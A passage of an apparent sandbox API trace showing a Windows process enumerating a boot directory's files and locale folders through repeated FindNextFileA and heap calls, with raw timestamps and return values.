nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0115.696] GetLastError () returned 0x0 [0115.696] GetCurrentThreadId () returned 0x9b0 [0115.696] GetLastError () returned 0x0 [0115.696] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0115.696] GetLastError () returned 0x0 [0115.696] GetCurrentThreadId () returned 0x9b0 [0115.697] GetLastError () returned 0x0 [0115.697] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0115.697] GetLastError () returned 0x0 [0115.697] GetCurrentThreadId () returned 0x9b0 [0115.697] GetLastError () returned 0x0 [0115.697] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0115.697] GetLastError () returned 0x0 [0115.697] GetCurrentThreadId () returned 0x9b0 [0115.697] GetLastError () returned 0x0 [0115.697] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea6d8, Size=0x40) returned 0x38875c0 [0115.697] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0115.697] GetLastError () returned 0x0 [0115.698] GetCurrentThreadId () returned 0x9b0 [0115.698] GetLastError () returned 0x0 [0115.698] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0115.698] GetLastError () returned 0x0 [0115.698] GetCurrentThreadId () returned 0x9b0 [0115.698] GetLastError () returned 0x0 [0115.698] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0115.698] GetLastError () returned 0x0 [0115.698] GetCurrentThreadId () returned 0x9b0 [0115.698] GetLastError () returned 0x0 [0115.698] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0115.698] GetLastError () returned 0x0 [0115.698] GetCurrentThreadId () returned 0x9b0 [0115.698] GetLastError () returned 0x0 [0115.699] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0115.699] GetLastError () returned 0x0 [0115.699] GetCurrentThreadId () returned 0x9b0 [0115.699] GetLastError () returned 0x0 [0115.699] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0115.699] GetLastError () returned 0x0 [0115.699] GetCurrentThreadId () returned 0x9b0 [0115.699] GetLastError () returned 0x0 [0115.699] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0115.699] GetLastError () returned 0x0 [0115.699] GetCurrentThreadId () returned 0x9b0 [0115.699] GetLastError () returned 0x0 [0115.699] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0115.699] GetLastError () returned 0x0 [0115.700] GetCurrentThreadId () returned 0x9b0 [0115.700] GetLastError () returned 0x0 [0115.700] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38875c0, Size=0x64) returned 0x2a19508 [0115.700] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0115.700] GetLastError () returned 0x0 [0115.700] GetCurrentThreadId () returned 0x9b0 [0115.700] GetLastError () returned 0x0 [0115.700] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0115.700] GetLastError () returned 0x0 [0115.700] GetCurrentThreadId () returned 0x9b0 [0115.700] GetLastError () returned 0x0 [0115.700] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0115.700] GetLastError () returned 0x0 [0115.701] GetCurrentThreadId () returned 0x9b0 [0115.701] GetLastError () returned 0x0 [0115.701] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0115.701] GetLastError () returned 0x0 [0115.701] GetCurrentThreadId () returned 0x9b0 [0115.701] GetLastError () returned 0x0 [0115.701] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0115.701] GetLastError () returned 0x0 [0115.701] GetCurrentThreadId () returned 0x9b0 [0115.701] GetLastError () returned 0x0 [0115.701] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0115.701] GetLastError () returned 0x0 [0115.701] GetCurrentThreadId () returned 0x9b0 [0115.701] GetLastError () returned 0x0 [0115.702] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0115.702] GetLastError () returned 0x0 [0115.702] GetCurrentThreadId () returned 0x9b0 [0115.702] GetLastError () returned 0x0 [0115.702] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0115.702] GetCurrentThreadId () returned 0x9b0 [0115.702] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0115.702] GetCurrentThreadId () returned 0x9b0 [0115.702] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19508, Size=0x8c) returned 0x2ac1030 [0115.702] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0115.702] GetCurrentThreadId () returned 0x9b0 [0115.703] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0115.703] GetCurrentThreadId () returned 0x9b0 [0115.703] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0115.703] GetCurrentThreadId () returned 0x9b0 [0115.703] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0115.703] GetCurrentThreadId () returned 0x9b0 [0115.703] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0115.703] GetCurrentThreadId () returned 0x9b0 [0115.703] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0115.703] GetCurrentThreadId () returned 0x9b0 [0115.703] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0115.704] GetCurrentThreadId () returned 0x9b0 [0115.704] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0115.704] GetCurrentThreadId () returned 0x9b0 [0115.704] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0115.704] GetCurrentThreadId () returned 0x9b0 [0115.704] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0115.704] GetCurrentThreadId () returned 0x9b0 [0115.704] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1030, Size=0xb8) returned 0x325f830 [0115.704] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0115.704] GetCurrentThreadId () returned 0x9b0 [0115.704] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0115.705] GetCurrentThreadId () returned 0x9b0 [0115.705] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0115.705] GetCurrentThreadId () returned 0x9b0 [0115.705] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0115.705] GetCurrentThreadId () returned 0x9b0 [0115.705] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0115.705] GetCurrentThreadId () returned 0x9b0 [0115.705] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0115.705] GetCurrentThreadId () returned 0x9b0 [0115.705] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0115.705] GetCurrentThreadId () returned 0x9b0 [0115.706] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0115.706] GetCurrentThreadId () returned 0x9b0 [0115.706] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0115.706] GetCurrentThreadId () returned 0x9b0 [0115.706] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0115.706] GetCurrentThreadId () returned 0x9b0 [0115.706] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, 